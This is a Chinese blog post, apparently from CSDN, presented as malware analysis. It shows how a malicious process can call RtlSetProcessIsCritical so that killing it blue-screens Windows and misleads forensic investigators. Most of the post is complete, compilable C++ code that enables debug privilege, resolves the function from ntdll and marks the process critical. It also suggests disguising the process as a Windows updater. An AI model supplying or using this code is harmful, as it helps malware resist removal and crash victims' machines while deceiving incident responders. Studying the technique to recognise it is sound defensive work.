恶意代码分析_RtlSetProcessIsCritical函数

本文介绍了一种网络安全策略,通过RtlSetProcessIsCritical函数使恶意进程在被尝试关闭时引发蓝屏,误导取证人员。代码展示了如何获取该函数地址并调整进程状态以实现伪装。
摘要由CSDN通过智能技术生成

1. 概述

在网络安全事件发生后,取证人员会对目标机器进行调查,包括对受害机器上的可疑进程和服务进行排查和处理。攻击者可能会采取一种迷惑性的方式,试图让排查人员误认为这些进程是Windows系统进程,以阻碍调查。一种常见的手法是在相关人员试图关闭恶意软件所在的进程时,故意引发Windows蓝屏异常,从而误导排查人员。

2.相关代码及效果

2.1 代码

#include <Windows.h>
#include <iostream>

typedef NTSTATUS(__cdecl *fnRtlSetProcessIsCritical)(IN  BOOLEAN  NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN  BOOLEAN  CheckFlag);

void enablePrivalige();
void* getFuncAddress();
bool setProcessStatus(void* proc_RtlSetProcesslsCritical);

int main()
{
	//确保高权限
	enablePrivalige();
	//获取函数
	void* proc_RtlSetProcesslsCritical = getFuncAddress();
	//设置程序状态
	setProcessStatus(proc_RtlSetProcesslsCritical);

	printf("测试效果!!!");
	system("pause");
	return 0;
}


void enablePrivalige()
{
	HANDLE token_handle = NULL;
	LUID se_debugname;
	TOKEN_PRIVILEGES token_privieges;
	bool status = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle);
	if (status == false)
	{
		printf("OpenProcessToken error");
		return;
	}

	status = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &se_debugname);
	if (status == false)
	{
		printf("LookupPrivilegeValue error");
		return;
	}

	token_privieges.PrivilegeCount = 1;
	token_privieges.Privileges[0].Luid = se_debugname;
	token_privieges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	status = AdjustTokenPrivileges(token_handle, false, &token_privieges,sizeof(token_privieges),NULL,NULL);
	if (status == false)
	{
		printf("AdjustTokenPrivileges error");
		return;
	}
	
}


void* getFuncAddress()
{
	HMODULE h_ntdll = LoadLibraryA("ntdll.dll");
	if (h_ntdll == NULL)
	{
		printf("LoadLibraryA error");
		return NULL;
	}
	
	void* proc_RtlSetProcesslsCritical = GetProcAddress(h_ntdll, "RtlSetProcessIsCritical");
	if (proc_RtlSetProcesslsCritical == NULL)
	{

		printf("GetProcAddress error");
		return NULL;
	}

	return proc_RtlSetProcesslsCritical;
}

bool setProcessStatus(void* proc_RtlSetProcesslsCritical)
{
	fnRtlSetProcessIsCritical l_proc_RtlSetProcesslsCritical = (fnRtlSetProcessIsCritical)proc_RtlSetProcesslsCritical;
	l_proc_RtlSetProcesslsCritical(TRUE, NULL, FALSE);
	return true;
}

2.2 效果展示

1.程序启动

在这里插入图片描述

2.当任务管理器中的程序被结束后,如果恶意代码能够直接导致系统蓝屏,攻击者就可以将自身的名称伪装成Windows更新程序或其他系统进程,以迷惑分析人员。这种方式可以让分析人员误以为他们关闭了一个正常的系统进程,而不是恶意代码。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值